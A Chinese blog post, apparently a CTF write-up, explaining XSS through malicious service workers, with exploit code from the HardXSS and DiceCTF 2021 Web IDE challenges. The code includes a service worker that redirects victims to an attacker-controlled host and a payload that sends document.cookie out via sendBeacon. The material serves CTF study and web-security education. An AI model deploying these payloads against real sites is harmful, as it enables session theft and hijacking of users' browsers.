前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Xss Via Service Worker

Xss Via Service Worker

作者头像
HhhM
发布2022-08-10 16:09:06
3930
发布2022-08-10 16:09:06
举报
文章被收录于专栏:H&M的专栏H&M的专栏

Xss Via Service Worker

2021-05-04 00:05:00
Service Worker - xss

闲置了很久的东西,在做dicectf2021的Web IDE的时候再次碰到这个东西,特此学学。

Service Worker下文简称sw,在我的理解看来就类似于一个filter,是介于服务器与客户端之间的一个中间人,它会拦截当前网站的所有请求,根据其编写的逻辑,在请求需要转发给服务器时进行转发,否则就使用离线缓存。

sw它算是一个独立的,运行在浏览器后台的脚本,因此用它来执行消耗大资源的程度时并不会对主线程造成阻塞;Service Worker 是一个浏览器中的进程而不是浏览器内核下的线程,因此它在被注册安装之后,能够被在多个页面中使用,也不会因为页面的关闭而被销毁。

出于安全考虑,sw需要基于https协议来运行,而为了开发者方便,localhost下同样可以使用sw。

笔者采用:https://replit.com/ 部署我的sw。

how to use sw

index.html:

代码语言:javascript
复制
<script>
  if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js', { scope: './' })
    .then(function (reg) {
      console.log('success', reg);
    })
    .catch(function (err) {
      console.log('fail', err);
    });
  }
</script>

通过navigator.serviceWorker.register注册sw.js脚本即可完成注册,需要注意的是这个脚本的 Content-Type 必须是 text/javascript;其中的scope是sw可控的的url范围,例如修改为/sw/sw.js时,当scope仍保持为./时,此时会注册失败,此时若要注册需要将scope修改为./sw/

sw.js:

代码语言:javascript
复制
this.addEventListener('install', function (event) {
  console.log('Service Worker install');
});

这里监听了install事件,sw在完成注册后会自动进行安装,此时install事件就会被执行。

我们能够在开发者工具中的application中看到安装了的sw:

值得关注的事件有如下:

  • install
  • activate
  • fetch

其中xss的利用很大程度需要用到fetch事件。

fetch事件做的是每当sw向服务器发起请求的时候这个事件就会被触发,当然了有一个限制就是页面的路径不能大于 Service Worker 的 scope,不然 fetch 事件是无法被触发的。

fetch中可以对event.request和response作出如new Response或者clone()等处理,以此来修改返回内容。

fetch的demo(sw.js):

代码语言:javascript
复制
this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    console.log('url: ', url);
    var body = '<script>alert("test")</script>';
    var init = {headers: {"Content-Type": "text/html"}};
    if (url.url === 'http://localhost/sw/target.html') {
        var res = new Response(body, init);
        event.respondWith(res.clone());
    }
});

sw with xss

在前面讲到sw的用法的时候有提到过需要使用到一个js脚本,此时需要满足的一个点就是目标存在着一个可上传js文件的点。

一个比较常见的就是利用jsonp达成xss,但需要注意到的是navigator.serviceWorker.register无法加载跨域的js脚本,然而可以通过importScripts方法进行加载,当然了同样需要是https的资源,关于利用jsonp达成xss的情况本文不多描述,感兴趣的话可以找找西湖论剑的HardXSS,其有一个点是利用同一个主域下的A站的XSS给B站植入sw:

(from https://lightless.me/archives/XSS-With-Service-Worker.html)

这里贴一下其exp:

代码语言:javascript
复制
# 1.js
document.domain = "xss.eec5b2.challenge.gcsis.cn";
var iff = document.createElement('iframe');
iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//aa.hongjunxie.repl.co/2.js')//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}
# 2.js
self.addEventListener('install', function(event) {
        console.log('install ok!');
});

this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    console.log('url: ', url);
    var body = "<script>location='https://aa.hongjunxie.repl.co/'+location.search;</script>";
    var init = {headers: {"Content-Type": "text/html"}};
    var res = new Response(body, init);
    event.respondWith(res.clone());
});
//提交https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//aa.hongjunxie.repl.co/1.js%22);// 给admin即可

先给document设置主域,然后通过iframe的contentWindow.eval去注册sw脚本。

而可上传js文件配合sw去达成xss的情况可以参考dicectf 2021的web ide,我的wp分析的比较烂就不分享了,可以参考:

https://blog.bi0s.in/2021/02/09/Web/DiceCTF21-WebIDE/

Payload:

代码语言:javascript
复制
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
  f.addEventListener('load', () => {
    f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", 
      {
        "headers": {
          "content-type": "application/javascript",
        },
        "body": "
          self.addEventListener('fetch', e=>{
              if (e.request.method != 'GET') {
                return;
              } 
              e.respondWith(
                new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',
                  {
                    headers:{
                      \\'content-type\\':\\'text/html\\'
                    }
                  }
              ));
          });",
        "method": "POST",
        "mode": "cors",
        "credentials": "include"
      })
      .then(response=>response.text())
      .then(path=>{
          [].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, 
          {
            scope: '/ide/saves/'
          }
      )
    });`, '*');
    setTimeout(() => { location = 'https://web-ide.dicec.tf/ide/saves/' }, 1000)
  })
</script>

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-05-04 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Xss Via Service Worker
    • how to use sw
      • sw with xss
      相关产品与服务
      云开发 CLI 工具
      云开发 CLI 工具(Cloudbase CLI Devtools,CCLID)是云开发官方指定的 CLI 工具,可以帮助开发者快速构建 Serverless 应用。CLI 工具提供能力包括文件储存的管理、云函数的部署、模板项目的创建、HTTP Service、静态网站托管等,您可以专注于编码,无需在平台中切换各类配置。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档